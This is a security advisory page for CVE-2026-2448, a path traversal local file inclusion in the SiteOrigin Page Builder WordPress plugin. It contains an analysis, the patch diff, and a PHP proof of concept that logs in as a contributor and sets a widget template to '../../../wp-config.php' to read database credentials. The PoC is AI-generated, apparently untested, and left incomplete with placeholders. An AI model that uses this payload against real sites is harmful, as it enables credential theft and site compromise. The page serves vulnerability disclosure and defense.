Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2448: Page Builder by SiteOrigin <= 2.33.5 – Authenticated (Contributor+) Local File Inclusion (siteorigin-panels)

CVE ID CVE-2026-2448
Severity High (CVSS 8.8)
CWE 22
Vulnerable Version 2.33.5
Patched Version 2.34.0
Disclosed March 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2448:
The vulnerability is a local file inclusion (LFI) in the Page Builder by SiteOrigin WordPress plugin. The root cause lies in the locate_template() function within the post-loop widget (siteorigin-panels/inc/widgets/post-loop.php). This function accepts user-controlled template names without proper validation, allowing path traversal. The locate_template() function uses PHP’s locate_template() and falls back to checking WP_PLUGIN_DIR plus the user-supplied template name. The vulnerable validate_template_file() function only checks validate_file() returns 0 and that the file ends with .php, but does not prevent directory traversal sequences.

Exploitation requires Contributor-level or higher authenticated access. Attackers can submit malicious template names containing directory traversal sequences (e.g., ../../../wp-config.php) through the post-loop widget’s template selection functionality. The plugin’s AJAX handlers that process widget data will pass these values to locate_template(), which then includes arbitrary PHP files from the server filesystem.

The patch introduces a new is_valid_template_name() method that performs stricter validation. It normalizes paths using wp_normalize_path(), removes null bytes, ensures the template name is a string, and validates the file extension in a case-insensitive manner. Crucially, it also checks that plugin-resolved templates remain within WP_PLUGIN_DIR boundaries by verifying strpos($plugin_template, $plugins_dir) === 0. This prevents directory traversal outside the plugins directory.

If exploited, this vulnerability allows authenticated attackers to include and execute arbitrary PHP files on the server. This can lead to sensitive data disclosure (including database credentials from wp-config.php), privilege escalation through code execution in included files, and complete site compromise when combined with file upload capabilities.

Differential between vulnerable and patched code

Code Diff
--- a/siteorigin-panels/compat/acf-widgets.php
+++ b/siteorigin-panels/compat/acf-widgets.php
@@ -42,6 +42,7 @@
 	 */
 	public function store_acf_widget_fields_instance( $the_widget, $instance ) {
 		if ( ! empty( $instance['acf'] ) ) {
+			$fields = array();
 			$field_groups = acf_get_field_groups( array(
 				'widget' => $the_widget->id_base,
 			) );
@@ -70,15 +71,15 @@
 		$fields = acf_get_store( 'so_fields' );
 		$instance = acf_get_store( 'so_widget_instance' );

-		if ( ! empty( $fields ) ) {
+		if ( ! empty( $fields ) && ! empty( $instance ) ) {
 			foreach ( $fields->data as $field ) {
 				if (
-					$widget_field['type'] != 'repeater' ||
+					$widget_field['type'] != 'repeater' &&
 					$widget_field['type'] != 'checkbox'
 				) {
 					if (
 						$field['key'] == $widget_field['key'] &&
-						! empty( $instance->data[ $field['key'] ] )
+						array_key_exists( $field['key'], $instance->data )
 					) {
 						return $instance->data[ $field['key'] ];
 					}
@@ -87,6 +88,8 @@
 				}
 			}
 		}
+
+		return $value;
 	}

 	/**
@@ -112,7 +115,7 @@
 			}
 		}

-		if ( $fields != '' ) {
+		if ( $fields !== '' && $fields !== null ) {
 			return $fields;
 		}
 	}
--- a/siteorigin-panels/compat/events-manager.php
+++ b/siteorigin-panels/compat/events-manager.php
@@ -7,52 +7,117 @@
 	return;
 }

-$em_pb_removed = false;
+class SiteOrigin_Panels_Compat_Events_Manager {
+	private $is_pb_removed = false;
+	private $is_duplicating = false;

-/**
- * Disable Page Builder for Events Manager post types.
- *
- * This function checks if the current post is an Events Manager post type
- * and if Page Builder is enabled for it. If both conditions are met, it
- * disables Page Builder for the content. This is done to prevent Page Builder
- * from interfering with the Events Manager content, and vice versa.
- *
- * `loop_start` is used due to when the Events Manager plugin sets up its
- * content replacement.
- *
- * @return void
- */
-function siteorigin_panels_event_manager_loop_start() {
-	$em_post_types = array( 'event-recurring', 'event' );
-
-	// Is the current post an $em_post_types post?
-	$post_type = get_post_type();
-	if ( ! in_array( $post_type, $em_post_types ) ) {
-		return;
-	}
-
-	// Is Page Builder enabled for Events Manager post types?
-	$pb_post_types = siteorigin_panels_setting( 'post-types' );
-	if ( empty( $pb_post_types ) || ! array_intersect( $em_post_types, $pb_post_types ) ) {
-		return;
+	public static function single() {
+		static $single;
+
+		return empty( $single ) ? $single = new self() : $single;
+	}
+
+	public function __construct() {
+		add_action( 'loop_start', array( $this, 'loop_start' ) );
+		add_action( 'loop_end', array( $this, 'loop_end' ) );
+
+		add_action( 'em_event_duplicate_pre', array( $this, 'duplicate_pre' ) );
+		add_filter( 'em_event_get_event_meta', array( $this, 'filter_duplicate_meta' ) );
+		add_filter( 'em_event_duplicate', array( $this, 'duplicate_copy_panels_data' ), 10, 2 );
 	}

-	global $em_pb_removed;
-	$em_pb_removed = true;
+	/**
+	 * Disable Page Builder for Events Manager post types.
+	 *
+	 * @return void
+	 */
+	public function loop_start() {
+		$em_post_types = array( 'event-recurring', 'event' );
+
+		$post_type = get_post_type();
+		if ( ! in_array( $post_type, $em_post_types ) ) {
+			return;
+		}
+
+		$pb_post_types = siteorigin_panels_setting( 'post-types' );
+		if ( empty( $pb_post_types ) || ! array_intersect( $em_post_types, $pb_post_types ) ) {
+			return;
+		}

-	add_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
-}
-add_action( 'loop_start', 'siteorigin_panels_event_manager_loop_start' );
+		$this->is_pb_removed = true;
+		add_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
+	}

-/**
- * Re-enable Page Builder for `the_content` filter if it
- * was disabled at the start of the loop.
- */
-function siteorigin_panels_event_manager_loop_end() {
-	global $em_pb_removed;
+	/**
+	 * Re-enable Page Builder for `the_content` filter if it
+	 * was disabled at the start of the loop.
+	 *
+	 * @return void
+	 */
+	public function loop_end() {
+		if ( $this->is_pb_removed ) {
+			remove_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
+			$this->is_pb_removed = false;
+		}
+	}

-	if ( $em_pb_removed ) {
-		remove_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
+	/**
+	 * Flag Events Manager duplication so we can avoid unsafe SQL inserts for panels_data.
+	 *
+	 * @return void
+	 */
+	public function duplicate_pre() {
+		$this->is_duplicating = true;
+	}
+
+	/**
+	 * Remove Page Builder data from Events Manager's raw SQL duplication payload.
+	 *
+	 * @param array $event_meta Event post meta.
+	 *
+	 * @return array
+	 */
+	public function filter_duplicate_meta( $event_meta ) {
+		if ( ! $this->is_duplicating || ! is_array( $event_meta ) ) {
+			return $event_meta;
+		}
+
+		unset( $event_meta['panels_data'] );
+
+		return $event_meta;
+	}
+
+	/**
+	 * Copy Page Builder data to the duplicated event using safe WordPress APIs.
+	 *
+	 * @param mixed $duplicated_event The duplicated event object, or false on failure.
+	 * @param mixed $source_event     The original source event object.
+	 *
+	 * @return mixed
+	 */
+	public function duplicate_copy_panels_data( $duplicated_event, $source_event ) {
+		$this->is_duplicating = false;
+
+		if (
+			empty( $duplicated_event ) ||
+			! is_object( $duplicated_event ) ||
+			! is_object( $source_event ) ||
+			empty( $duplicated_event->post_id ) ||
+			empty( $source_event->post_id )
+		) {
+			return $duplicated_event;
+		}
+
+		$source_panels_data = get_post_meta( (int) $source_event->post_id, 'panels_data', true );
+		if ( empty( $source_panels_data ) ) {
+			return $duplicated_event;
+		}
+
+		$source_panels_data = map_deep( $source_panels_data, array( 'SiteOrigin_Panels_Admin', 'double_slash_string' ) );
+		update_post_meta( (int) $duplicated_event->post_id, 'panels_data', $source_panels_data );
+
+		return $duplicated_event;
 	}
 }
-add_action( 'loop_end', 'siteorigin_panels_event_manager_loop_end' );
+
+SiteOrigin_Panels_Compat_Events_Manager::single();
--- a/siteorigin-panels/compat/layout-block.php
+++ b/siteorigin-panels/compat/layout-block.php
@@ -42,7 +42,26 @@
 	}

 	public function enqueue_layout_block_editor_assets() {
-		if ( SiteOrigin_Panels_Admin::is_block_editor() || is_customize_preview() ) {
+		$is_block_editor = SiteOrigin_Panels_Admin::is_block_editor();
+
+		if ( $is_block_editor || is_customize_preview() ) {
+			if ( $is_block_editor && function_exists( 'aioseo' ) ) {
+				$aioseo = aioseo();
+				if (
+					is_object( $aioseo ) &&
+					isset( $aioseo->standalone ) &&
+					is_object( $aioseo->standalone ) &&
+					isset( $aioseo->standalone->pageBuilderIntegrations ) &&
+					is_array( $aioseo->standalone->pageBuilderIntegrations ) &&
+					isset( $aioseo->standalone->pageBuilderIntegrations['siteorigin'] ) &&
+					is_object( $aioseo->standalone->pageBuilderIntegrations['siteorigin'] )
+				) {
+					remove_action(
+						'siteorigin_panel_enqueue_admin_scripts',
+						array( $aioseo->standalone->pageBuilderIntegrations['siteorigin'], 'enqueue' )
+					);
+				}
+			}
 			$panels_admin = SiteOrigin_Panels_Admin::single();
 			$panels_admin->enqueue_admin_scripts();
 			$panels_admin->enqueue_admin_styles();
--- a/siteorigin-panels/inc/installer/inc/admin.php
+++ b/siteorigin-panels/inc/installer/inc/admin.php
@@ -155,6 +155,32 @@
 				die();
 			}

+			$task = sanitize_key( $_POST['task'] );
+			$type = sanitize_key( $_POST['type'] );
+
+			$capability = '';
+			if ( $type === 'plugins' ) {
+				if ( $task === 'install' ) {
+					$capability = 'install_plugins';
+				} elseif ( $task === 'update' ) {
+					$capability = 'update_plugins';
+				} elseif ( $task === 'activate' ) {
+					$capability = 'activate_plugins';
+				}
+			} elseif ( $type === 'themes' ) {
+				if ( $task === 'install' ) {
+					$capability = 'install_themes';
+				} elseif ( $task === 'update' ) {
+					$capability = 'update_themes';
+				} elseif ( $task === 'activate' ) {
+					$capability = 'switch_themes';
+				}
+			}
+
+			if ( empty( $capability ) || ! current_user_can( $capability ) ) {
+				die();
+			}
+
 			// SO Premium won't have a version.
 			if (
 				empty( $_POST['version'] ) &&
@@ -165,14 +191,14 @@

 			$slug = sanitize_file_name( $_POST['slug'] );

-			$product_url = 'https://wordpress.org/' . urlencode( $_POST['type'] ) . '/download/' . urlencode( $slug ) . '.' . urlencode( $_POST['version'] ) . '.zip';
+			$product_url = 'https://wordpress.org/' . urlencode( $type ) . '/download/' . urlencode( $slug ) . '.' . urlencode( $_POST['version'] ) . '.zip';
 			// check_ajax_referer( 'so_installer_manage' );
 			if ( ! class_exists( 'WP_Upgrader' ) ) {
 				require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
 			}
 			$upgrader = new WP_Upgrader();
-			if ( $_POST['type'] == 'plugins' ) {
-				if ( $_POST['task'] == 'install' || $_POST['task'] == 'update' ) {
+			if ( $type === 'plugins' ) {
+				if ( $task === 'install' || $task === 'update' ) {
 					$upgrader->run( array(
 						'package' => esc_url( $product_url ),
 						'destination' => WP_PLUGIN_DIR,
@@ -186,14 +212,14 @@

 					$clear = true;
 				} elseif (
-					$_POST['task'] == 'activate' &&
+					$task === 'activate' &&
 					! is_wp_error( validate_plugin( $slug . '/' . $slug . '.php' ) )
 				) {
 					activate_plugin( $slug . '/' . $slug . '.php' );
 					$clear = true;
 				}
-			} elseif ( $_POST['type'] == 'themes' ) {
-				if ( $_POST['task'] == 'install' || $_POST['task'] == 'update' ) {
+			} elseif ( $type === 'themes' ) {
+				if ( $task === 'install' || $task === 'update' ) {
 					$upgrader->run( array(
 						'package' => esc_url( $product_url ),
 						'destination' => get_theme_root(),
@@ -202,7 +228,7 @@
 						'abort_if_destination_exists' => false,
 					) );
 					$clear = true;
-				} elseif ( $_POST['task'] == 'activate' ) {
+				} elseif ( $task === 'activate' ) {
 					switch_theme( $slug );
 					$clear = true;
 				}
--- a/siteorigin-panels/inc/renderer-legacy.php
+++ b/siteorigin-panels/inc/renderer-legacy.php
@@ -111,10 +111,14 @@
 				'padding' => 0,
 			), $panels_mobile_width );

-			// Hide empty cells on mobile
-			$css->add_row_css( $post_id, false, ' .panel-grid-cell-empty', array(
-				'display' => 'none',
-			), $panels_mobile_width );
+			// Hide empty columns on mobile unless "Display Empty Columns With Background" is enabled.
+			if ( ! siteorigin_panels_setting( 'display-empty-rows-with-background' ) ) {
+				foreach ( $layout_data as $ri => $row ) {
+					$css->add_row_css( $post_id, $ri, ' .panel-grid-cell-empty', array(
+						'display' => 'none',
+					), $panels_mobile_width );
+				}
+			}

 			// Hide empty cells on mobile
 			$css->add_row_css( $post_id, false, ' .panel-grid-cell-mobile-last', array(
--- a/siteorigin-panels/inc/renderer.php
+++ b/siteorigin-panels/inc/renderer.php
@@ -17,6 +17,61 @@
 	}

 	/**
+	 * Determine whether the current row contains no widgets.
+	 *
+	 * @param array $row The row data.
+	 *
+	 * @return bool
+	 */
+	private function is_empty_row( $row ) {
+		if ( empty( $row['cells'] ) || ! is_array( $row['cells'] ) ) {
+			return true;
+		}
+
+		foreach ( $row['cells'] as $cell ) {
+			if ( ! empty( $cell['widgets'] ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Determine whether the current row has a background style set.
+	 *
+	 * @param array $row The row data.
+	 *
+	 * @return bool
+	 */
+	private function row_has_background( $row ) {
+		if ( empty( $row['style'] ) || ! is_array( $row['style'] ) ) {
+			return false;
+		}
+
+		return (
+			! empty( $row['style']['background'] ) ||
+			! empty( $row['style']['background_image_attachment'] ) ||
+			! empty( $row['style']['background_image_attachment_fallback'] )
+		);
+	}
+
+	/**
+	 * Determine whether an empty row with a background should remain visible.
+	 *
+	 * @param array $row The row data.
+	 *
+	 * @return bool
+	 */
+	private function should_display_empty_background_row( $row ) {
+		return (
+			siteorigin_panels_setting( 'display-empty-rows-with-background' ) &&
+			$this->is_empty_row( $row ) &&
+			$this->row_has_background( $row )
+		);
+	}
+
+	/**
 	 * Add CSS that needs to go inline.
 	 */
 	public function add_inline_css( $post_id, $css ) {
@@ -91,6 +146,7 @@
 			// Filter the bottom margin for this row with the arguments
 			$panels_margin_bottom = apply_filters( 'siteorigin_panels_css_row_margin_bottom', $settings['margin-bottom'] . 'px', $row, $ri, $panels_data, $post_id );
 			$panels_mobile_margin_bottom = apply_filters( 'siteorigin_panels_css_row_mobile_margin_bottom', $settings['row-mobile-margin-bottom'] . 'px', $row, $ri, $panels_data, $post_id );
+			$display_empty_background_row = $this->should_display_empty_background_row( $row );

 			if ( SiteOrigin_Panels_Styles::single()->has_overlay( $row ) ) {
 				$css->add_row_css( $post_id, $ri, array(
@@ -420,10 +476,14 @@
 				'padding' => 0,
 			), $panels_mobile_width );

-			// Hide empty cells on mobile
-			$css->add_row_css( $post_id, false, ' .panel-grid-cell-empty', array(
-				'display' => 'none',
-			), $panels_mobile_width );
+			// Hide empty columns on mobile unless "Display Empty Columns With Background" is enabled.
+			if ( ! siteorigin_panels_setting( 'display-empty-rows-with-background' ) ) {
+				foreach ( $layout_data as $ri => $row ) {
+					$css->add_row_css( $post_id, $ri, ' .panel-grid-cell-empty', array(
+						'display' => 'none',
+					), $panels_mobile_width );
+				}
+			}

 			// Hide empty cells on mobile
 			$css->add_row_css( $post_id, false, ' .panel-grid-cell-mobile-last', array(
@@ -505,7 +565,7 @@
 		if ( empty( $post_id ) ) {
 			$post_id = get_the_ID();

-			if ( class_exists( 'WooCommerce' ) && is_shop() ) {
+			if ( SiteOrigin_Panels::should_use_woocommerce_shop_page_id() ) {
 				$post_id = wc_get_page_id( 'shop' );
 			}
 		}
@@ -761,7 +821,7 @@
 		if ( empty( $post_id ) ) {
 			$post_id = get_the_ID();

-			if ( class_exists( 'WooCommerce' ) && is_shop() ) {
+			if ( SiteOrigin_Panels::should_use_woocommerce_shop_page_id() ) {
 				$post_id = wc_get_page_id( 'shop' );
 			}
 		}
@@ -1081,6 +1141,9 @@

 		$row_classes = array( 'panel-grid' );
 		$row_classes[] = ! empty( $row_style_wrapper ) ? 'panel-has-style' : 'panel-no-style';
+		if ( $this->should_display_empty_background_row( $row ) ) {
+			$row_classes[] = 'panel-empty-row-has-background';
+		}

 		if ( SiteOrigin_Panels_Styles::single()->has_overlay( $row ) ) {
 			$row_classes[] = 'panel-has-overlay';
--- a/siteorigin-panels/inc/settings.php
+++ b/siteorigin-panels/inc/settings.php
@@ -174,6 +174,7 @@
 		$defaults['mobile-cell-margin']          = $mobile_cell_margin;
 		$defaults['widget-mobile-margin-bottom'] = '';
 		$defaults['margin-bottom-last-row']      = false;
+		$defaults['display-empty-rows-with-background'] = false;
 		$defaults['margin-sides']                = 30;
 		$defaults['full-width-container']        = 'body';
 		$defaults['output-css-header']           = 'auto';
@@ -502,6 +503,12 @@
 			'description' => __( 'Allow margin below the last row.', 'siteorigin-panels' ),
 		);

+		$fields['layout']['fields']['display-empty-rows-with-background'] = array(
+			'type'        => 'checkbox',
+			'label'       => __( 'Display Empty Columns With Background', 'siteorigin-panels' ),
+			'description' => __( 'Display empty columns when a column background color or image is set.', 'siteorigin-panels' ),
+		);
+
 		$fields['layout']['fields']['mobile-cell-margin'] = array(
 			'type'        => 'number',
 			'unit'        => 'px',
--- a/siteorigin-panels/inc/widgets/post-loop.php
+++ b/siteorigin-panels/inc/widgets/post-loop.php
@@ -560,12 +560,35 @@
 	 * @return bool
 	 */
 	public function validate_template_file( $filename ) {
-		return validate_file( $filename ) == 0 &&
-			substr( $filename, -4 ) == '.php' &&
+		return self::is_valid_template_name( $filename ) &&
 			self::locate_template( $filename ) != '';
 	}

 	/**
+	 * Check if a template name is safe to resolve.
+	 *
+	 * @param mixed $template_name Template to validate.
+	 *
+	 * @return bool
+	 */
+	private static function is_valid_template_name( $template_name ) {
+		if ( ! is_string( $template_name ) ) {
+			return false;
+		}
+
+		$template_name = trim( wp_normalize_path( $template_name ) );
+
+		if ( '' === $template_name || false !== strpos( $template_name, "" ) ) {
+			return false;
+		}
+
+		$template_name = ltrim( $template_name, '/' );
+
+		return validate_file( $template_name ) === 0 &&
+			substr( strtolower( $template_name ), -4 ) === '.php';
+	}
+
+	/**
 	 * Find the location of a given template. Either in the theme or in the plugin directory.
 	 *
 	 * @param bool $load
@@ -575,13 +598,25 @@
 	 */
 	public static function locate_template( $template_names, $load = false, $require_once = true ) {
 		$located = '';
+		$plugins_dir = trailingslashit( wp_normalize_path( WP_PLUGIN_DIR ) );

 		foreach ( (array) $template_names as $template_name ) {
+			if ( ! self::is_valid_template_name( $template_name ) ) {
+				continue;
+			}
+
+			$template_name = ltrim( trim( wp_normalize_path( $template_name ) ), '/' );
 			$located = locate_template( $template_name, false );

-			if ( ! $located && file_exists( WP_PLUGIN_DIR . '/' . $template_name ) ) {
+			$plugin_template = wp_normalize_path( WP_PLUGIN_DIR . '/' . $template_name );
+
+			if (
+				! $located &&
+				strpos( $plugin_template, $plugins_dir ) === 0 &&
+				file_exists( $plugin_template )
+			) {
 				// Template added by a plugin
-				$located = WP_PLUGIN_DIR . '/' . $template_name;
+				$located = $plugin_template;
 			}
 		}

--- a/siteorigin-panels/siteorigin-panels.php
+++ b/siteorigin-panels/siteorigin-panels.php
@@ -3,7 +3,7 @@
 Plugin Name: Page Builder by SiteOrigin
 Plugin URI: https://siteorigin.com/page-builder/
 Description: A drag and drop, responsive page builder that simplifies building your website.
-Version: 2.33.5
+Version: 2.34.0
 Author: SiteOrigin
 Author URI: https://siteorigin.com
 License: GPL3
@@ -11,7 +11,7 @@
 Donate link: https://siteorigin.com/downloads/premium/
 */

-define( 'SITEORIGIN_PANELS_VERSION', '2.33.5' );
+define( 'SITEORIGIN_PANELS_VERSION', '2.34.0' );

 if ( ! defined( 'SITEORIGIN_PANELS_JS_SUFFIX' ) ) {
 	define( 'SITEORIGIN_PANELS_JS_SUFFIX', '.min' );
@@ -307,7 +307,7 @@
 	 * @filter woocommerce_format_content
 	 */
 	public function generate_woocommerce_content( $content ) {
-		if ( class_exists( 'WooCommerce' ) && is_shop() ) {
+		if ( self::should_use_woocommerce_shop_page_id() ) {
 			return $this->generate_post_content( $content );
 		}

@@ -333,15 +333,20 @@
 		}

 		$post_id = $this->get_post_id();
-
 		// Check if this post has panels_data.
 		if ( get_post_meta( $post_id, 'panels_data', true ) ) {
+			$original_post = $post;
+
 			$panel_content = SiteOrigin_Panels::renderer()->render(
 				$post_id,
 				// Add CSS if this is not the main single post, this is handled by add_single_css.
 				$preview || $post_id !== get_queried_object_id()
 			);

+			// Some widgets call wp_reset_postdata() while rendering and can alter global $post.
+			// Restore it so downstream the_content filters still receive the current post context.
+			$post = $original_post;
+
 			if ( ! empty( $panel_content ) ) {
 				$content = $panel_content;

@@ -493,7 +498,7 @@
 	public function get_post_id() {
 		$post_id = get_the_ID();

-		if ( class_exists( 'WooCommerce' ) && is_shop() ) {
+		if ( self::should_use_woocommerce_shop_page_id() ) {
 			$post_id = wc_get_page_id( 'shop' );
 		}
 		global $preview;
@@ -510,6 +515,25 @@
 	}

 	/**
+	 * Should we use the configured WooCommerce Shop page ID as the current post ID.
+	 *
+	 * This is intentionally strict because some WooCommerce rendering contexts can invoke content
+	 * filters while processing non-Shop content.
+	 */
+	public static function should_use_woocommerce_shop_page_id() {
+		if ( ! class_exists( 'WooCommerce' ) || ! is_shop() ) {
+			return false;
+		}
+
+		$shop_page_id = wc_get_page_id( 'shop' );
+		if ( empty( $shop_page_id ) ) {
+			return false;
+		}
+
+		return (int) get_queried_object_id() === (int) $shop_page_id;
+	}
+
+	/**
 	 * Add all the necessary body classes.
 	 *
 	 * @return array

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2448 - Page Builder by SiteOrigin <= 2.33.5 - Authenticated (Contributor+) Local File Inclusion
<?php

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Step 1: Authenticate and obtain WordPress cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);

// Step 2: Create a post with Page Builder content containing malicious template
$post_data = [
    'post_title' => 'Exploit Post',
    'post_content' => '',
    'post_status' => 'draft',
    'post_type' => 'post'
];

// Step 3: Prepare panels_data with malicious template path
// This payload attempts to include wp-config.php
$panels_data = [
    'widgets' => [
        [
            'panels_info' => [
                'class' => 'SiteOrigin_Panels_Widgets_PostLoop',
                'grid' => 0,
                'cell' => 0,
                'id' => 0,
                'widget_id' => 'post-loop-1',
                'style' => []
            ],
            'template' => '../../../wp-config.php',  // Malicious template path
            'more' => false,
            'posts' => []
        ]
    ],
    'grids' => [
        ['cells' => 1]
    ],
    'grid_cells' => [
        ['grid' => 0, 'weight' => 1]
    ]
];

// Step 4: Save post with malicious panels_data
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'save_panels_data',
        'post_id' => 'new',
        'panels_data' => json_encode($panels_data),
        '_panelsnonce' => 'need_valid_nonce_here'  // Requires valid nonce
    ]),
]);
$response = curl_exec($ch);

// Step 5: Trigger template inclusion by rendering the post
// The locate_template() function will be called when the post-loop widget renders
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/?p=[POST_ID]&preview=true',
    CURLOPT_POST => false
]);
$response = curl_exec($ch);

// Check if wp-config.php content was included
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_PASSWORD') !== false) {
    echo "Vulnerable: Database credentials exposedn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School